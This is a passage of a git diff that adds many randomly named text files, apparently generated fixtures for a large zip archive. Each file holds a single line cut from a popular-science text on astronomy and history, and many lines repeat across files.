diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_inwtdmlcjpyeiqc.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_inwtdmlcjpyeiqc.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_inwtdmlcjpyeiqc.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_kllrjookwbdsg.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_kllrjookwbdsg.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_kllrjookwbdsg.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_lkwxfytxoqu.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_lkwxfytxoqu.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_lkwxfytxoqu.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_mhlrwmpfbsht.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_mhlrwmpfbsht.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_mhlrwmpfbsht.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_mlbjbwiw.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_mlbjbwiw.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_mlbjbwiw.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_onqakllebmpcnvdgnikx.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_onqakllebmpcnvdgnikx.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_onqakllebmpcnvdgnikx.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_oomrrrqhuiijngp.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_oomrrrqhuiijngp.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_oomrrrqhuiijngp.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_pqizlwxwqmoaeehlnknsrih.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_pqizlwxwqmoaeehlnknsrih.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_pqizlwxwqmoaeehlnknsrih.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_qjmmwrztccfm.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_qjmmwrztccfm.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_qjmmwrztccfm.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_qrdqcvmhhsnphxvzb.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_qrdqcvmhhsnphxvzb.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_qrdqcvmhhsnphxvzb.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_sadqfwmdce.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_sadqfwmdce.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_sadqfwmdce.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_sqattoijauzqtulkcj.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_sqattoijauzqtulkcj.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_sqattoijauzqtulkcj.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_vlidetpdbcfolouhldiqicv.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_vlidetpdbcfolouhldiqicv.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_vlidetpdbcfolouhldiqicv.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_wxnmiufyzorjcumutdnxkeni.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_wxnmiufyzorjcumutdnxkeni.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_wxnmiufyzorjcumutdnxkeni.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/file_zcumirslgtkcj.txt b/big_zip/big-zip-files/folder_radrvnnasd/file_zcumirslgtkcj.txt
new file mode 100644
index 0000000..77f18c3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/file_zcumirslgtkcj.txt
@@ -0,0 +1 @@
+of the speed of light would be just fine. But no matter how hard you try, you can never gain
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/aczbvwrmjq.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/aczbvwrmjq.txt
new file mode 100644
index 0000000..6b97ffb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/aczbvwrmjq.txt
@@ -0,0 +1 @@
+Mars that could scan its surroundings, see the most interesting place in its field of view and,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/blhhfbxhxwmlogvmww.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/blhhfbxhxwmlogvmww.txt
new file mode 100644
index 0000000..3593287
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/blhhfbxhxwmlogvmww.txt
@@ -0,0 +1 @@
+four, beryllium; five, boron; six, carbon; seven, nitrogen; eight, oxygen; and so on, up to 92
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/buwfksva.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/buwfksva.txt
new file mode 100644
index 0000000..f54b8a6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/buwfksva.txt
@@ -0,0 +1 @@
+that quite by accident was able to make crude copies of itself out of the other molecules in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/cpdkzcvdomtmfzt.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/cpdkzcvdomtmfzt.txt
new file mode 100644
index 0000000..ccfaf85
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/cpdkzcvdomtmfzt.txt
@@ -0,0 +1 @@
+standpoint of an observer moving with you - perhaps the scooter has a second seat - none of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/eirtoicyjmbywueffps.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/eirtoicyjmbywueffps.txt
new file mode 100644
index 0000000..ec02d60
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/eirtoicyjmbywueffps.txt
@@ -0,0 +1 @@
+We are, almost all of us, descended from people who responded to the dangers of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_amggbamatindos.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_amggbamatindos.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_amggbamatindos.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_asbektedlntat.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_asbektedlntat.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_asbektedlntat.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_bmgvzmosskqyy.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_bmgvzmosskqyy.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_bmgvzmosskqyy.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_boqsncewqsws.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_boqsncewqsws.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_boqsncewqsws.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_cfiqlynpabxxoce.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_cfiqlynpabxxoce.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_cfiqlynpabxxoce.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_eazvfamgrhyq.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_eazvfamgrhyq.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_eazvfamgrhyq.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_ehxeoqwt.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_ehxeoqwt.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_ehxeoqwt.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_eorydccqxrzxrkhzshp.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_eorydccqxrzxrkhzshp.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_eorydccqxrzxrkhzshp.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_fsfrqimh.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_fsfrqimh.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_fsfrqimh.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_gqzslxretaandiydhkvktup.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_gqzslxretaandiydhkvktup.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_gqzslxretaandiydhkvktup.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_gshaogggdrgipybkvzvmw.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_gshaogggdrgipybkvzvmw.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_gshaogggdrgipybkvzvmw.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_ihqlnkreh.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_ihqlnkreh.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_ihqlnkreh.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_injwllpgkquazrvmaj.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_injwllpgkquazrvmaj.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_injwllpgkquazrvmaj.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_jecesqmmgcbeizd.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_jecesqmmgcbeizd.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_jecesqmmgcbeizd.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_kvkkilnhyloqdyrt.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_kvkkilnhyloqdyrt.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_kvkkilnhyloqdyrt.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_ommmufdjturqqjdabjztb.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_ommmufdjturqqjdabjztb.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_ommmufdjturqqjdabjztb.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_oodmcrgnn.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_oodmcrgnn.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_oodmcrgnn.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_rslvywbdfbnlrpvhhe.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_rslvywbdfbnlrpvhhe.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_rslvywbdfbnlrpvhhe.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_uscdeujkgvfzqkmqqve.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_uscdeujkgvfzqkmqqve.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_uscdeujkgvfzqkmqqve.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_wpnisweejjkilwqjx.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_wpnisweejjkilwqjx.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_wpnisweejjkilwqjx.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_wqvinjiybc.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_wqvinjiybc.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_wqvinjiybc.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_xaqkelfoejlku.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_xaqkelfoejlku.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_xaqkelfoejlku.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_zxyhpknovtix.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_zxyhpknovtix.txt
new file mode 100644
index 0000000..6611125
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/file_zxyhpknovtix.txt
@@ -0,0 +1 @@
+commanded the Sun to stand still, and not the Earth.’ Even some of Copernicus’ admirers
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/hdyzvjdbtbmplpva.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/hdyzvjdbtbmplpva.txt
new file mode 100644
index 0000000..6b3fa19
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/hdyzvjdbtbmplpva.txt
@@ -0,0 +1 @@
+Some years ago as Your Serene Highness well knows, I discovered in the heavens
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/imomgfimdxwyjaionk.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/imomgfimdxwyjaionk.txt
new file mode 100644
index 0000000..c98d730
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/imomgfimdxwyjaionk.txt
@@ -0,0 +1 @@
+were its spectral lines.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/jgpymlvnczihoxh.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/jgpymlvnczihoxh.txt
new file mode 100644
index 0000000..8b8d0f7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/jgpymlvnczihoxh.txt
@@ -0,0 +1 @@
+invasion. So he surrounded his capital city with a massive wall, about six kilometers long,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/ldgssazhdwoyv.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/ldgssazhdwoyv.txt
new file mode 100644
index 0000000..3bbb51c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/ldgssazhdwoyv.txt
@@ -0,0 +1 @@
+But each episode of the television series follows fairly closely the corresponding chapter of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/lywriijtljcas.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/lywriijtljcas.txt
new file mode 100644
index 0000000..8d5da94
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/lywriijtljcas.txt
@@ -0,0 +1 @@
+does not matter). The diagonal line BC divides the square into two triangles, each
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/mcmedeugixdardxze.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/mcmedeugixdardxze.txt
new file mode 100644
index 0000000..bcb3d27
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/mcmedeugixdardxze.txt
@@ -0,0 +1 @@
+decided he would do something about the matter.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/mvsjujuavwgqvkldnhnnl.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/mvsjujuavwgqvkldnhnnl.txt
new file mode 100644
index 0000000..2df91a4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/mvsjujuavwgqvkldnhnnl.txt
@@ -0,0 +1 @@
+in their design, fabrication and testing, and to the abilities of the spacecraft controllers. But
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/nsvemzrhmiymh.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/nsvemzrhmiymh.txt
new file mode 100644
index 0000000..2d8f97a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/nsvemzrhmiymh.txt
@@ -0,0 +1 @@
+Ptolemy’s aetherial spheres, imagined in medieval times to be made of crystal, are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/nzcppcpokswqqygfcs.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/nzcppcpokswqqygfcs.txt
new file mode 100644
index 0000000..d0eb5bf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/nzcppcpokswqqygfcs.txt
@@ -0,0 +1 @@
+two eyes as we do, but they also work in the infrared, as ours do not; a sample arm that can
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/oaaaebblafjoeeqtszjqf.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/oaaaebblafjoeeqtszjqf.txt
new file mode 100644
index 0000000..aa85fda
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/oaaaebblafjoeeqtszjqf.txt
@@ -0,0 +1 @@
+that stirred our ancestors toward understanding and ecstasy. If we survive, our time will be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/prmsnjeweeuy.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/prmsnjeweeuy.txt
new file mode 100644
index 0000000..0de4209
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/prmsnjeweeuy.txt
@@ -0,0 +1 @@
+Local Group of galaxies. Several million light-years across, it is composed of some twentyconstituent galaxies. It is a sparse and obscure and unpretentious cluster. One of these
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/qcdksqadenghl.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/qcdksqadenghl.txt
new file mode 100644
index 0000000..00f2dcb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/qcdksqadenghl.txt
@@ -0,0 +1 @@
+regular solids, a conclusion from abstract and beautiful mathematics that has had, as we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/rnzmbppiwlmbbr.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/rnzmbppiwlmbbr.txt
new file mode 100644
index 0000000..e0bdbe6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/rnzmbppiwlmbbr.txt
@@ -0,0 +1 @@
+Egyptian priests, Greek aristocrats, Phoenician sailors, Jewish merchants, visitors from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/tsezdaqcmacguf.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/tsezdaqcmacguf.txt
new file mode 100644
index 0000000..7f3ae94
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/tsezdaqcmacguf.txt
@@ -0,0 +1 @@
+eventually produced all the gods and men. A universe created from Chaos was in perfect
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/wdlkenrjvguarvwg.txt b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/wdlkenrjvguarvwg.txt
new file mode 100644
index 0000000..061477e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_radrvnnasd/folder_wloildvfgn/wdlkenrjvguarvwg.txt
@@ -0,0 +1 @@
+Some historians argue it was nevertheless too traditionalist a society, too unwilling to adopt
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_aqaqactjovb.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_aqaqactjovb.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_aqaqactjovb.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_crdcwixbutfwjjuzbsiiut.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_crdcwixbutfwjjuzbsiiut.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_crdcwixbutfwjjuzbsiiut.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_drdhoolbnbo.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_drdhoolbnbo.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_drdhoolbnbo.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_eyurfyxw.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_eyurfyxw.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_eyurfyxw.txt
@@ -0,0 +1 @@
+able to hunt game or build fires only because we had figured something out. There was a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_rasawtmevb/file_gltmyhixyvbojsbmigvxjem.txt b/big_zip/big-zip-files/folder_rasawtmevb/file_gltmyhixyvbojsbmigvxjem.txt
new file mode 100644
index 0000000..b549596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_rasawtmevb/file_gltmyhixyvbojsbmigvxjem.txt
